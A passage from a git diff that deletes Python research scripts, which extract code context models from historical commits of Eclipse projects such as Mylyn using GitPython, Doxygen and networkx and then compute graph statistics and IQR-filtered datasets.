repo.git.reset(recent_commit, hard=True) - print("git reset to recent commit {0}".format(recent_commit)) - try: - repo_list = solve_file.solve_element_directory(git_repo, elements_text) - if len(repo_list) > 0: - print("founded in {0} !!!!!!!!!!!!!!!!!!!!!!!!".format(git_repo)) - # 只有找到了repo才进行下一步的分析,并且其他的不需要在分析了 - copy_repo_list = copy_file.copy_element_file(make_root_path, repo_list, elements_text) - # print(copy_repo_list) - run_doxygen.main_doxygen(copy_repo_list) - # 分析完后,将版本重置到最新提交 - repo.git.reset(newest_commit, hard=True) - print("git reset to newest commit {0}".format(newest_commit)) - break - # 分析完后,将版本重置到最新提交 - repo.git.reset(newest_commit, hard=True) - print("git reset to newest commit {0}".format(newest_commit)) - except Exception as e: - print('Error Error Error >>>>>>------', e) - repo.git.reset(newest_commit, hard=True) - print("git reset to newest commit {0}".format(newest_commit)) - else: - print("all repo finding completed!!!") - continue - break # 如果某一个找到了,就直接跳过外层的循环 - # 解析关系,生成图 - try: - graph_list, valid_list = get_relations.main_func(make_root_path, elements_text) - if len(graph_list) > 0: - # 更新code elements状态 - for element in elements: - element.set('valid', str(valid_list[elements.index(element)])) - # 写图文件,将几个图组合在一起,就是代码上下文模型 - model_path = join(make_root_path, 'code_context_model.xml') - model_root = ET.Element("code_context_model") - model_root.set('commit', str(recent_commit)) - model_root.set('git_repository', str(git_repository)) - model_root.set('total', str(len(graph_list))) - model_root.set('first_time', first_time) - model_root.set('last_time', last_time) - for graph in graph_list: - graph_node = ET.SubElement(model_root, 'graph') - graph_node.set('repo_name', graph.repo_name) - graph_node.set('repo_path', graph.repo_path) - vertices = ET.SubElement(graph_node, 'vertices') - vertices.set('total', str(len(graph.vertices))) - for vertex in graph.vertices: - v_node = ET.SubElement(vertices, 'vertex') - v_node.set('id', str(vertex.id)) - v_node.set('ref_id', vertex.ref_id) - v_node.set('kind', vertex.kind) - v_node.set('label', vertex.label) - edges = ET.SubElement(graph_node, 'edges') - edges.set('total', str(len(graph.edges))) - for edge in graph.edges: - e_node = ET.SubElement(edges, 'edge') - e_node.set('start', str(edge.start)) - e_node.set('end', str(edge.end)) - e_node.set('label', edge.label) - model_tree = ET.ElementTree(model_root) - model_tree.write(model_path) - else: - for element in elements: - element.set('valid', '0') - tree.write(join(project_path, xml_file)) - print('~~~~~~one working period finished~~~~~~') - except Exception as e: - print('extractor context model error!!!!!!!!!!!!!!', e) - continue - - - -# ecf -# main_func([join(root_path, 'ecf', 'ecf')], 'ecf', 'ECF') -# pde -# main_func([join(root_path, 'pde', 'eclipse.pde')], 'pde', 'PDE') -# platform -# main_func([ -# join(root_path, 'platform', 'eclipse.platform'), -# join(root_path, 'platform', 'eclipse.platform.swt'), -# join(root_path, 'platform', 'eclipse.platform.ui'), -# join(root_path, 'platform', 'eclipse.platform.releng.buildtools'), -# ], 'platform', 'Platform') -# # mylyn -# print(root_path) -# main_func([ -# join(root_path, 'mylyn', 'org.eclipse.mylyn'), -# join(root_path, 'mylyn', 'org.eclipse.mylyn.context.mft'), -# join(root_path, 'mylyn', 'org.eclipse.mylyn.incubator'), -# join(root_path, 'mylyn', 'org.eclipse.mylyn.builds'), -# join(root_path, 'mylyn', 'org.eclipse.mylyn.commons'), -# join(root_path, 'mylyn', 'org.eclipse.mylyn.context'), -# join(root_path, 'mylyn', 'org.eclipse.mylyn.docs'), -# join(root_path, 'mylyn', 'org.eclipse.mylyn.reviews'), -# join(root_path, 'mylyn', 'org.eclipse.mylyn.tasks'), -# join(root_path, 'mylyn', 'org.eclipse.mylyn.versions') -# ], 'mylyn', 'Mylyn') diff --git a/params_validation/repo_vs_commit_order/4_extract_model_repo_first.py b/params_validation/repo_vs_commit_order/4_extract_model_repo_first.py deleted file mode 100644 index 1a21a72..0000000 --- a/params_validation/repo_vs_commit_order/4_extract_model_repo_first.py +++ /dev/null @@ -1,200 +0,0 @@ -""" -读取每个working periods,回退时间戳版本 -查找是否存在对应元素, -将这部分文件提取出来(*这里一开始为了节省开销,只保留元素所在的文件,但是后续需要扩展,所以需要保留整个project*),运行doxygen, -保存输出的doxygen文件 -然后分析doxygen输出文件,找出各个节点之间的关系,并生成上下文模型,保存到xml文件中 - -需要进行验证的: -commit number 1,2,3 -commit和repo顺序:repo优先:每个repo一次探查多个commit, commit优先:还是一次探查一个,不断循环repo -""" -# 先用第一个测试一下 -import shutil - -from git import Repo -import os -import xml.etree.ElementTree as ET -from os.path import join - -from params_validation.utils import solve_file, run_doxygen, copy_file -from xmlparser.doxygen_main import get_relations - - -def make_dir(directory): - """ - 创建一个目录 - - :param directory: 目录地址 - :return: 无返回值,创建目录 - """ - if os.path.exists(directory): - shutil.rmtree(directory) - os.makedirs(directory) - return directory - - -root_path = join(os.path.dirname(os.path.dirname(os.path.realpath(__file__))), 'git_repo_code') - - -def main_func(git_path: list[str], project_name: str, project_input: str): - commit_index_threshold = 3 # 最近的commit_index的阈值 待取值为1,2,3 - file_path = join(os.path.dirname(os.path.realpath(__file__)), 'IQR_code_timestamp') - file_dir_list = os.listdir(file_path) - # 读取working periods - for index_dir in file_dir_list: - # 进入06文件夹 - if index_dir not in ['05']: - continue - print('---------------', index_dir) - index_path = join(file_path, index_dir) - project_list = os.listdir(index_path) - # 进入项目目录 - for project_dir in project_list: - if project_dir not in [project_input]: - continue - project_path = join(index_path, project_dir) - xml_list = os.listdir(project_path) - xml_list = [x[:x.find('.')] for x in xml_list] - xml_list = sorted(xml_list, key=lambda x: int(x)) # 使用key=len在ubuntu不行,两个系统文件排序方法不一样 - xml_list = [x + ".xml" for x in xml_list] - for xml_file in xml_list: - # 这个编码都是出在 org.eclipse.mylyn.bugzilla.core/_bugzilla_core_plugin_8java.xml - # 存在编码报错的情况,捕获错误后,自动跳过,后面filter out即可 - print("************** handle {}'s {} working period".format(project_dir, xml_file)) - # model_exist = join(root_path, f'my_{project_name}', f'repo_first_{commit_index_threshold}', xml_file[0:xml_file.find('.')], 'code_context_model.xml') - # if os.path.exists(model_exist): - # print('exist....') - # continue - # 创建目录,保存文件,方便运行doxygen - make_root_path = make_dir(join(root_path, f'my_{project_name}', f'repo_first_{commit_index_threshold}', - xml_file[0:xml_file.find('.')])) - tree = ET.parse(join(project_path, xml_file)) # 拿到xml树 - # 获取XML文档的根元素 - root = tree.getroot() - timestamps = root.find("timestamps") - first_time = timestamps.find('first').text - last_time = timestamps.find("last").text - print('time: {0}'.format(last_time)) - code_element = root.find('code_elements') - elements = code_element.findall('element') - elements_text = [] - for element in elements: - elements_text.append(element.text) - recent_commit = '' - git_repository = '' - # 所有项目git仓库都需要判断 - for git_repo in git_path: - print('git_repo ', git_repo) - git_repository = git_repo - repo = Repo(git_repo) - # 设置UTC时区 - commits = list(repo.iter_commits(until=first_time + 'Z')) # 找第一个之前的commit - if len(commits) == 0: - print('-------------no commits-----------') - continue - new_commit_index_threshold = commit_index_threshold - if len(commits) < commit_index_threshold: # 需要判断边界 - new_commit_index_threshold = len(commits) - for commit_index in range(new_commit_index_threshold): - print("handling recent {} commit".format(commit_index)) - recent_commit = commits[commit_index] - newest_commit = list(repo.iter_commits(max_count=3))[0] # 保存最新的那个提交 - print("recent {0}:{1}".format(recent_commit, recent_commit.committed_datetime)) - print("newest {0}:{1}".format(newest_commit, newest_commit.committed_datetime)) - repo.git.reset(recent_commit, hard=True) - print("git reset to recent commit {0}".format(recent_commit)) - try: - repo_list = solve_file.solve_element_directory(git_repo, elements_text) - if len(repo_list) > 0: - print("founded in {0} !!!!!!!!!!!!!!!!!!!!!!!!".format(git_repo)) - # 只有找到了repo才进行下一步的分析,并且其他的不需要在分析了 - copy_repo_list = copy_file.copy_element_file(make_root_path, repo_list, elements_text) - # print(copy_repo_list) - run_doxygen.main_doxygen(copy_repo_list) - # 分析完后,将版本重置到最新提交 - repo.git.reset(newest_commit, hard=True) - print("git reset to newest commit {0}".format(newest_commit)) - break - # 分析完后,将版本重置到最新提交 - repo.git.reset(newest_commit, hard=True) - print("git reset to newest commit {0}".format(newest_commit)) - except Exception as e: - print('Error Error Error >>>>>>------', e) - repo.git.reset(newest_commit, hard=True) - print("git reset to newest commit {0}".format(newest_commit)) - else: - print("3 times commits finding completed!!!") - continue # 如果三次都没找到,就进入下一个repo的查找 - break # 如果某一个找到了,就直接跳过外层的循环 - # 解析关系,生成图 - try: - graph_list, valid_list = get_relations.main_func(make_root_path, elements_text) - if len(graph_list) > 0: - # 更新code elements状态 - for element in elements: - element.set('valid', str(valid_list[elements.index(element)])) - # 写图文件,将几个图组合在一起,就是代码上下文模型 - model_path = join(make_root_path, 'code_context_model.xml') - model_root = ET.Element("code_context_model") - model_root.set('commit', str(recent_commit)) - model_root.set('git_repository', str(git_repository)) - model_root.set('total', str(len(graph_list))) - model_root.set('first_time', first_time) - model_root.set('last_time', last_time) - for graph in graph_list: - graph_node = ET.SubElement(model_root, 'graph') - graph_node.set('repo_name', graph.repo_name) - graph_node.set('repo_path', graph.repo_path) - vertices = ET.SubElement(graph_node, 'vertices') - vertices.set('total', str(len(graph.vertices))) - for vertex in graph.vertices: - v_node = ET.SubElement(vertices, 'vertex') - v_node.set('id', str(vertex.id)) - v_node.set('ref_id', vertex.ref_id) - v_node.set('kind', vertex.kind) - v_node.set('label', vertex.label) - edges = ET.SubElement(graph_node, 'edges') - edges.set('total', str(len(graph.edges))) - for edge in graph.edges: - e_node = ET.SubElement(edges, 'edge') - e_node.set('start', str(edge.start)) - e_node.set('end', str(edge.end)) - e_node.set('label', edge.label) - model_tree = ET.ElementTree(model_root) - model_tree.write(model_path) - else: - for element in elements: - element.set('valid', '0') - tree.write(join(project_path, xml_file)) - print('~~~~~~one working period finished~~~~~~') - except Exception as e: - print('extractor context model error!!!!!!!!!!', e) - continue - - -# ecf -# main_func([join(root_path, 'ecf', 'ecf')], 'ecf', 'ECF') -# pde -# main_func([join(root_path, 'pde', 'eclipse.pde')], 'pde', 'PDE') #101 -# platform -# main_func([ -# join(root_path, 'platform', 'eclipse.platform'), -# join(root_path, 'platform', 'eclipse.platform.swt'), -# join(root_path, 'platform', 'eclipse.platform.ui'), -# join(root_path, 'platform', 'eclipse.platform.releng.buildtools'), -# ], 'platform', 'Platform') -# # mylyn -# print(root_path) -main_func([ - join(root_path, 'mylyn', 'org.eclipse.mylyn'), - join(root_path, 'mylyn', 'org.eclipse.mylyn.context.mft'), - join(root_path, 'mylyn', 'org.eclipse.mylyn.incubator'), - join(root_path, 'mylyn', 'org.eclipse.mylyn.builds'), - join(root_path, 'mylyn', 'org.eclipse.mylyn.commons'), - join(root_path, 'mylyn', 'org.eclipse.mylyn.context'), - join(root_path, 'mylyn', 'org.eclipse.mylyn.docs'), - join(root_path, 'mylyn', 'org.eclipse.mylyn.reviews'), - join(root_path, 'mylyn', 'org.eclipse.mylyn.tasks'), - join(root_path, 'mylyn', 'org.eclipse.mylyn.versions') -], 'mylyn', 'Mylyn') diff --git a/params_validation/repo_vs_commit_order/5_1_output_model_info.py b/params_validation/repo_vs_commit_order/5_1_output_model_info.py deleted file mode 100644 index 251653d..0000000 --- a/params_validation/repo_vs_commit_order/5_1_output_model_info.py +++ /dev/null @@ -1,146 +0,0 @@ -""" -这个文件针对5文件计算生成的xml文件进行数据的统计分析 -""" -import os -from os.path import join -import xml.etree.ElementTree as ET -import numpy as np -import matplotlib.pyplot as plt -import seaborn as sns - - -def show_model(context_models: list, model_info: str): - model_info = 'model ' + model_info - node_list = [] - edge_list = [] - component_list = [] - for model in context_models: - node_list.append(int(model.get('nodes'))) - edge_list.append(int(model.get('edges'))) - component_list.append(int(model.get('components'))) - min_node = np.min(node_list) - max_node = np.max(node_list) - mean_node = np.mean(node_list) - median_node = np.median(node_list) - std_node = np.std(node_list) - min_edge = np.min(edge_list) - max_edge = np.max(edge_list) - mean_edge = np.mean(edge_list) - median_edge = np.median(edge_list) - std_edge = np.std(edge_list) - min_component = np.min(component_list) - max_component = np.max(component_list) - mean_component = np.mean(component_list) - median_component = np.median(component_list) - std_component = np.std(component_list) - print("min_node:{0}, max_node:{1}, median_node:{2}, mean_node:{3}, std_node:{4}".format(min_node, max_node, - median_node, mean_node, - std_node)) - # sns.displot(data=node_list) - # plt.title(model_info) - # plt.xlabel('node num') - # plt.ylabel('model count') - # plt.show() - print("min_edge:{0}, max_edge:{1}, median_edge:{2}, mean_edge:{3}, std_edge:{4}".format(min_edge, - max_edge, median_edge, - mean_edge, std_edge)) - # sns.displot(data=edge_list) - # plt.title(model_info) - # plt.xlabel('edge num') - # plt.ylabel('model count') - # plt.show() - print( - "min_component:{0}, max_component:{1}, median_component:{2}, mean_component:{3}, std_component:{4}".format( - min_component, - max_component, - median_component, - mean_component, - std_component)) - # sns.displot(data=component_list) - # plt.title(model_info) - # plt.xlabel('component num') - # plt.ylabel('model count') - # plt.show() - - -def show_component(connected_components: list, model_info: str): - model_info = 'CC ' + model_info - node_list = [] - edge_list = [] - diameter_list = [] - for cc in connected_components: - node_list.append(int(cc.get('node_num'))) - edge_list.append(int(cc.get('edge_num'))) - diameter_list.append(int(cc.get('diameter'))) - min_node = np.min(node_list) - max_node = np.max(node_list) - mean_node = np.mean(node_list) - median_node = np.median(node_list) - std_node = np.std(node_list) - min_edge = np.min(edge_list) - max_edge = np.max(edge_list) - mean_edge = np.mean(edge_list) - median_edge = np.median(edge_list) - std_edge = np.std(edge_list) - min_diameter = np.min(diameter_list) - max_diameter = np.max(diameter_list) - mean_diameter = np.mean(diameter_list) - median_diameter = np.median(diameter_list) - std_diameter = np.std(diameter_list) - print("min_node:{0}, max_node:{1}, median_node:{2}, mean_node:{3}, std_node:{4}".format(min_node, max_node, - median_node, mean_node, - std_node)) - # sns.displot(data=node_list) - # plt.title(model_info) - # plt.xlabel('node num') - # plt.ylabel('CC count') - # plt.show() - print("min_edge:{0}, max_edge:{1}, median_edge:{2}, mean_edge:{3}, std_edge:{4}".format(min_edge, - max_edge, median_edge, - mean_edge, std_edge)) - # sns.displot(data=edge_list) - # plt.title(model_info) - # plt.xlabel('edge num') - # plt.ylabel('CC count') - # plt.show() - print( - "min_diameter:{0}, max_diameter:{1}, median_diameter:{2}, mean_diameter:{3}, std_diameter:{4}".format( - min_diameter, - max_diameter, - median_diameter, - mean_diameter, - std_diameter)) - # sns.displot(data=diameter_list) - # plt.title(model_info) - # plt.xlabel('diameter num') - # plt.ylabel('CC count') - # plt.show() - - -def main_func(mode: str): - info_dir_path = join(os.path.dirname(os.path.dirname(os.path.realpath(__file__))), f'{mode}model_info') - info_strategy_dir = os.listdir(info_dir_path) - for info_strategy in info_strategy_dir: - info_strategy_path = join(info_dir_path, info_strategy) - print(f'---------{info_strategy_path}----------') - model_info_list = os.listdir(info_strategy_path) - for model_info in model_info_list: - print(model_info) - model_file = join(info_strategy_path, model_info) - tree = ET.parse(model_file) # 拿到xml树 - # 获取XML文档的根元素 - root = tree.getroot() - context_models = root.findall('code_context_model') - print("context model: ", len(context_models)) - show_model(context_models, model_info) - connected_components = [] - for model in context_models: - gs = model.findall('graph') - for g in gs: - connected_components += g.findall('connected_component') - print("connected components: ", len(connected_components)) - show_component(connected_components, model_info) - - -# if want see info before process set mode to '', else set 'final_' -main_func(mode='final_') diff --git a/params_validation/repo_vs_commit_order/5_model_info.py b/params_validation/repo_vs_commit_order/5_model_info.py deleted file mode 100644 index 3101217..0000000 --- a/params_validation/repo_vs_commit_order/5_model_info.py +++ /dev/null @@ -1,168 +0,0 @@ -""" -用于统计context model的节点和边以及连通分量的数据 -""" -import os -import shutil - -import networkx as nx -from os.path import join -import xml.etree.ElementTree as ET - -root_path = join(os.path.dirname(os.path.dirname(os.path.realpath(__file__))), 'git_repo_code') - - -def make_dir(directory): - """ - 创建一个目录 - - :param directory: 目录地址 - :return: 无返回值,创建目录 - """ - if not os.path.exists(directory): - os.makedirs(directory) - - -def get_graph(vertices: list[ET.Element], edges: list[ET.Element]): - g = nx.DiGraph() - # 转化为图结构 - for node in vertices: - g.add_node(node.get('id')) - for link in edges: - g.add_edge(link.get('start'), link.get('end')) - return g - - -def main_func(project_name: str, mode: str): - project_path = join(root_path, project_name) - info_dir_path = join(os.path.dirname(os.path.dirname(os.path.realpath(__file__))), f'{mode}model_info') - # make_dir(info_dir_path) - strategy_dir_list = os.listdir(project_path) - for strategy_dir in strategy_dir_list: - strategy_path = join(project_path, strategy_dir) - info_strategy_path = join(info_dir_path, strategy_dir) - make_dir(info_strategy_path) - model_dir_list = os.listdir(strategy_path) - model_dir_list = sorted(model_dir_list, key=lambda x: int(x)) - info_root = ET.Element("context_model_info") - model_total = 0 - component_root = 0 - for model_dir in model_dir_list: - model_path = join(strategy_path, model_dir, '_code_context_model.xml') - if not os.path.exists(model_path): - continue - model_total += 1 - info_model = ET.SubElement(info_root, 'code_context_model') - info_model.set('id', model_dir) - tree = ET.parse(model_path) # 拿到xml树 - # 获取XML文档的根元素 - root = tree.getroot() - graphs = root.findall("graph") - node_total = 0 - edge_total = 0 - component_total = 0 - for graph in graphs: - info_graph = ET.SubElement(info_model, 'graph') - vertices = graph.find('vertices').findall('vertex') - edges = graph.find('edges').findall('edge') - net_graph = get_graph(vertices, edges) - connected_components = list(nx.weakly_connected_components(net_graph)) - node_count = 0 - edge_count = 0 - for cc in connected_components: - subgraph = net_graph.subgraph(cc) - # print('subgraph', subgraph, subgraph.nodes(), subgraph.edges()) - info_component = ET.SubElement(info_graph, 'connected_component') - info_component.set('node_num', str(len(subgraph.nodes()))) - info_component.set('edge_num', str(len(subgraph.edges()))) - info_component.set('nodes', str(subgraph.nodes())) - info_component.set('edges', str(subgraph.edges())) - un_subgraph = subgraph.to_undirected() - info_component.set('diameter', str(nx.diameter(un_subgraph))) - node_count += len(subgraph.nodes()) - edge_count += len(subgraph.edges()) - info_graph.set('nodes', str(node_count)) - info_graph.set('edges', str(edge_count)) - info_graph.set('components', str(len(connected_components))) - node_total += node_count - edge_total += edge_count - component_total += len(connected_components) - info_model.set('nodes', str(node_total)) - info_model.set('edges', str(edge_total)) - info_model.set('components', str(component_total)) - component_root += component_total - info_root.set('models', str(model_total)) - info_root.set('components', str(component_root)) - info_tree = ET.ElementTree(info_root) - # 将XML写入文件 - xml_file_name = os.path.join(info_strategy_path, project_name + ".xml") - info_tree.write(xml_file_name) - - -def remove_empty_dir(project_model_name: str): - """ - 删除没有model目录,跑每个项目的extract之前跑一下就行了, - - :param project_model_name: 项目目录名字 - """ - project_path = join(root_path, project_model_name) - strategy_dir_list = os.listdir(project_path) - for strategy_dir in strategy_dir_list: - strategy_path = join(project_path, strategy_dir) - model_dir_list = os.listdir(strategy_path) - model_dir_list = sorted(model_dir_list, key=lambda x: int(x)) - for model_dir in model_dir_list: - print('---------------', model_dir) - model_path = join(strategy_path, model_dir) - model_file = join(model_path, 'code_context_model.xml') - # 如果不存在模型,跳过处理 - if not os.path.exists(model_file): - print('not exist', model_file) - shutil.rmtree(model_path) - - -# if want see info before process set mode to '', else set 'final_' -mode = 'final_' -# remove_empty_dir('my_ecf') -# main_func('my_ecf', mode=mode) -# remove_empty_dir('my_pde') -# main_func('my_pde', mode=mode) -# # remove_empty_dir('my_platform') -# main_func('my_platform', mode=mode) -# # remove_empty_dir('my_mylyn') -# main_func('my_mylyn', mode=mode) - - - -mode = 'final_' -project_name = 'my_mylyn' -first_times = [] -last_times = [] - -project_path = join(root_path, project_name) -info_dir_path = join(os.path.dirname(os.path.dirname(os.path.realpath(__file__))), f'{mode}model_info') -# make_dir(info_dir_path) -strategy_dir_list = os.listdir(project_path) -for strategy_dir in strategy_dir_list: - strategy_path = join(project_path, strategy_dir) - info_strategy_path = join(info_dir_path, strategy_dir) - make_dir(info_strategy_path) - model_dir_list = os.listdir(strategy_path) - model_dir_list = sorted(model_dir_list, key=lambda x: int(x)) - info_root = ET.Element("context_model_info") - model_total = 0 - component_root = 0 - for model_dir in model_dir_list: - model_path = join(strategy_path, model_dir, 'code_context_model.xml') - if not os.path.exists(model_path): - continue - model_total += 1 - info_model = ET.SubElement(info_root, 'code_context_model') - info_model.set('id', model_dir) - tree = ET.parse(model_path) # 拿到xml树 - # 获取XML文档的根元素 - root = tree.getroot() - first_times.append(root.get('first_time')) - last_times.append(root.get('last_time')) - # print(root.get('first_time') == root.get('last_time')) -print(min(first_times), max(first_times)) -print(min(last_times), max(last_times)) \ No newline at end of file diff --git a/params_validation/repo_vs_commit_order/6_analyse_dataset.py b/params_validation/repo_vs_commit_order/6_analyse_dataset.py deleted file mode 100644 index de491a3..0000000 --- a/params_validation/repo_vs_commit_order/6_analyse_dataset.py +++ /dev/null @@ -1,133 +0,0 @@ -""" -用于统计context model的节点和边的类型分布 -""" -import os -import statistics - -import networkx as nx -from os.path import join -import xml.etree.ElementTree as ET - -root_path = join(os.path.dirname(os.path.dirname(os.path.realpath(__file__))), 'git_repo_code') - - -def calculate_type_and_edge(graphs: list[ET.Element]): - types_count = { - 'class': 0, - 'interface': 0, - 'function': 0, - 'variable': 0 - } - edges_count = { - 'declares': 0, - 'calls': 0, - 'uses': 0, - 'inherits': 0, - 'implements': 0 - } - for graph in graphs: - vertices = graph.find('vertices') - vertex_list = vertices.findall('vertex') - edges = graph.find('edges') - edge_list = edges.findall('edge') - for vertex in vertex_list: - kind = vertex.get('kind') - types_count[kind] = types_count[kind] + 1 - for edge in edge_list: - kind = edge.get('label') - start = int(edge.get('start')) - end = int(edge.get('end')) - if kind == 'calls': - for node in vertex_list: - if int(node.get('id')) == end and node.get('kind') == 'variable': - kind = 'uses' - break - edges_count[kind] = edges_count[kind] + 1 - return types_count, edges_count - - -def calculate_stats(data): - stats = {} - for key, values in data.items(): - if values: - stats[key] = { - 'Min': min(values), - 'Max': max(values), - 'Mean': statistics.mean(values), - 'Median': statistics.median(values), - 'SD': statistics.stdev(values) if len(values) > 1 else 0, - 'Sum': sum(values) - } - else: - stats[key] = { - 'Min': None, - 'Max': None, - 'Mean': None, - 'Median': None, - 'SD': None, - 'Sum': None - } - metrics = ['Min', 'Max', 'Mean', 'Median', 'SD', 'Sum'] - headers = list(stats.keys()) - - print(f"{'Metric':<10}", end="") - for header in headers: - print(f"{header:<10}", end="") - print() - - for metric in metrics: - print(f"& {metric:<8}", end="") - for header in headers: - value = stats[header][metric] - if value is None: - print(f"& {value:<8}", end="") - elif isinstance(value, float): - print(f"& {value:<8.2f}", end="") - else: - print(f"& {value:<8}", end="") - print() - - -def main_func(project_name: str): - print(project_name) - project_path = join(root_path, project_name) - strategy_dir_list = os.listdir(project_path) - for strategy_dir in strategy_dir_list: - strategy_path = join(project_path, strategy_dir) - model_dir_list = os.listdir(strategy_path) - model_dir_list = sorted(model_dir_list, key=lambda x: int(x)) - model_total = 0 - types_count = { - 'class': [], - 'interface': [], - 'function': [], - 'variable': [] - } - edges_count = { - 'declares': [], - 'calls': [], - 'uses': [], - 'inherits': [], - 'implements': [] - } - for model_dir in model_dir_list: - model_path = join(strategy_path, model_dir, 'new_1_step_expanded_model.xml') - if not os.path.exists(model_path): - continue - model_total += 1 - tree = ET.parse(model_path) # 拿到xml树 - # 获取XML文档的根元素 - root = tree.getroot() - single_type, single_edge = calculate_type_and_edge(root.findall("graph")) - for key, value in single_type.items(): - types_count[key].append(value) - for key, value in single_edge.items(): - edges_count[key].append(value) - calculate_stats(types_count) - calculate_stats(edges_count) - - -if __name__ == '__main__': - # main_func('my_pde') - # main_func('my_platform') - main_func('my_mylyn') diff --git a/params_validation/repo_vs_commit_order/IQR.txt b/params_validation/repo_vs_commit_order/IQR.txt deleted file mode 100644 index 74b6853..0000000 --- a/params_validation/repo_vs_commit_order/IQR.txt +++ /dev/null @@ -1,28 +0,0 @@ -current project: Platform -Q1 = 8.0 -Q3 = 48.0 -IQR = 40.0 -Q1 - 3 * IQR = -112.0 -Q3 + 3 * IQR = 168.0 ----------------------------------------------- -current project: ECF -Q1 = 3.0 -Q3 = 14.0 -IQR = 11.0 -Q1 - 3 * IQR = -30.0 -Q3 + 3 * IQR = 47.0 ----------------------------------------------- -current project: PDE -Q1 = 2.0 -Q3 = 13.5 -IQR = 11.5 -Q1 - 3 * IQR = -32.5 -Q3 + 3 * IQR = 48.0 ----------------------------------------------- -current project: Mylyn -Q1 = 5.0 -Q3 = 30.0 -IQR = 25.0 -Q1 - 3 * IQR = -70.0 -Q3 + 3 * IQR = 105.0 ----------------------------------------------- diff --git a/params_validation/repo_vs_commit_order/new_experiment/selection_edit_analysis.py b/params_validation/repo_vs_commit_order/new_experiment/selection_edit_analysis.py deleted file mode 100644 index c491e0a..0000000 --- a/params_validation/repo_vs_commit_order/new_experiment/selection_edit_analysis.py +++ /dev/null @@ -1,242 +0,0 @@ -""" -这里会根据计算出来的分位线来过滤异常值 -保存到 IQR_code_timestamp 中 -""" -import os -import shutil -import statistics -from os.path import join -import xml.etree.ElementTree as ET - -import numpy as np -from scipy.stats import mode - -from xmlparser.doxygen_main import get_standard_elements - -period_index = 0 - - -def make_dir(directory): - """ - 创建一个目录 - - :param directory: 目录地址 - :return: 无返回值,创建目录 - """ - if os.path.exists(directory): - shutil.rmtree(directory) - os.makedirs(directory) - - -def read_xml_excel(url): - """ - 参数: - url:文件路径 - """ - tree = ET.parse(url) # 拿到xml树 - # 获取XML文档的根元素 - root = tree.getroot() - events = root.find('code_elements') - return events.get('total') - - -def get_all_code_timestamps(): - file_path = os.path.abspath(join(os.path.dirname(os.path.realpath(__file__)), '../', 'code_timestamp', '05')) - print(file_path) - project_list = os.listdir(file_path) - # 进入项目目录 - project_to_xml_map = dict() - for project_dir in project_list: - if project_dir not in ['PDE', 'Mylyn', 'Platform', 'ECF']: - continue - bug_id_to_xml_map = dict() - project_path = join(file_path, project_dir) - xml_list = os.listdir(project_path) - xml_list = [x[:x.find('.')] for x in xml_list] - xml_list = sorted(xml_list, key=lambda x: int(x)) - xml_list = [x + ".xml" for x in xml_list] - for xml_file in xml_list: - xml_path = join(project_path, xml_file) - tree = ET.parse(xml_path) # 拿到xml树 - # 获取XML文档的根元素 - root = tree.getroot() - bug_id = root.find('bug_id').text + "_" + root.find('id').text - bug_id_to_xml_map[bug_id] = tree - project_to_xml_map[project_dir] = bug_id_to_xml_map - return project_to_xml_map - - -def add_event_kind_to_iqr_code_timestamp(): - """给 IQR 过滤之后的 working_periods 添加 event_kind 标签""" - file_path = os.path.abspath(join(os.path.dirname(os.path.realpath(__file__)), '../', 'IQR_code_timestamp', '05')) - print(file_path) - project_list = os.listdir(file_path) - project_to_xml_map = get_all_code_timestamps() - # 进入项目目录 - for project_dir in project_list: - if project_dir not in ['PDE', 'Mylyn', 'Platform', 'ECF']: - continue - project_path = join(file_path, project_dir) - xml_list = os.listdir(project_path) - xml_list = [x[:x.find('.')] for x in xml_list] - xml_list = sorted(xml_list, key=lambda x: int(x)) - xml_list = [x + ".xml" for x in xml_list] - bug_id_to_xml_map = project_to_xml_map[project_dir] - for xml_file in xml_list: - xml_path = join(project_path, xml_file) - print(xml_path) - tree = ET.parse(xml_path) # 拿到xml树 - # 获取XML文档的根元素 - root_a = tree.getroot() - bug_id = root_a.find('bug_id').text + "_" + root_a.find('id').text - corresponding_xml_tree = bug_id_to_xml_map[bug_id] - - root_b = corresponding_xml_tree.getroot() - - # 查找所有 item 节点,并构建 b 的映射 {text: event_kind} - def find_items_with_text(root): - items = {} - for elem in root.iter("element"): # 查找所有 item 节点 - text = elem.text.strip() if elem.text else "" # 去除多余空白 - if text: - items[text] = str(elem.get("event_kind")) - return items - - b_mapping = find_items_with_text(root_b) - - # print(b_mapping) - - # 遍历 a,更新 event-type 属性 - for elem in root_a.iter("element"): # 遍历 a 的所有 item 节点 - text = elem.text.strip() if elem.text else "" - # print(text) - if text in b_mapping: # 如果 text 匹配 - elem.set("event_kind", b_mapping[text]) # 更新 event_kind 属性 - else: - print("not find", text) - - # 输出更新后的 a - tree.write(xml_path) - - -def add_event_kind_to_code_context_model(): - """给 code_context_model 添加 event_kind 标签""" - file_path = os.path.abspath(join(os.path.dirname(os.path.realpath(__file__)), '../', 'IQR_code_timestamp', '05')) - print(file_path) - project_list = os.listdir(file_path) - # 进入项目目录 - for project_dir in project_list: - if project_dir not in ['PDE', 'Mylyn', 'Platform']: - continue - project_path = join(file_path, project_dir) - xml_list = os.listdir(project_path) - xml_list = [x[:x.find('.')] for x in xml_list] - xml_list = sorted(xml_list, key=lambda x: int(x)) - xml_list = [x + ".xml" for x in xml_list] - for xml_file in xml_list: - xml_path = join(project_path, xml_file) - print(xml_path) - tree = ET.parse(xml_path) # 拿到xml树 - # 获取XML文档的根元素 - root_a = tree.getroot() - - # code_context_model.xml - model_path = os.path.abspath( - join(os.path.dirname(os.path.realpath(__file__)), '../../', 'git_repo_code', - "my_" + project_dir.lower(), 'repo_first_3', xml_file[:xml_file.find(".")])) - - if not os.path.exists(model_path): - continue - - model_tree = ET.parse(join(model_path, "_code_context_model.xml")) - - label_to_kind = dict() - for elem in root_a.iter("element"): - elem_text = elem.text.strip() - qualified_name = get_standard_elements.solve_one(elem_text)[1] - label_to_kind[qualified_name] = elem.get("event_kind") - for vertex in model_tree.getroot().iter("vertex"): - if vertex.get("label") not in label_to_kind: - print("not found", vertex.get("label")) - else: - vertex.set("event_kind", label_to_kind[vertex.get("label")]) - - model_tree.write(join(model_path, "_code_context_model.xml")) - - -def analysis_selection_edit_ratio(projects: list[str]): - """分析 code_context_model 中 selection 和 edit 的标签分布""" - file_path = os.path.abspath(join(os.path.dirname(os.path.realpath(__file__)), '../../', 'git_repo_code')) - # 进入项目目录 - for project in projects: - project_path = join(file_path, project, 'repo_first_3') - model_dir_list = os.listdir(project_path) - model_dir_list = sorted(model_dir_list, key=lambda x: int(x)) - s_e_r = [] - edit_0 = 0 - for model_dir in model_dir_list: - model_path = join(project_path, 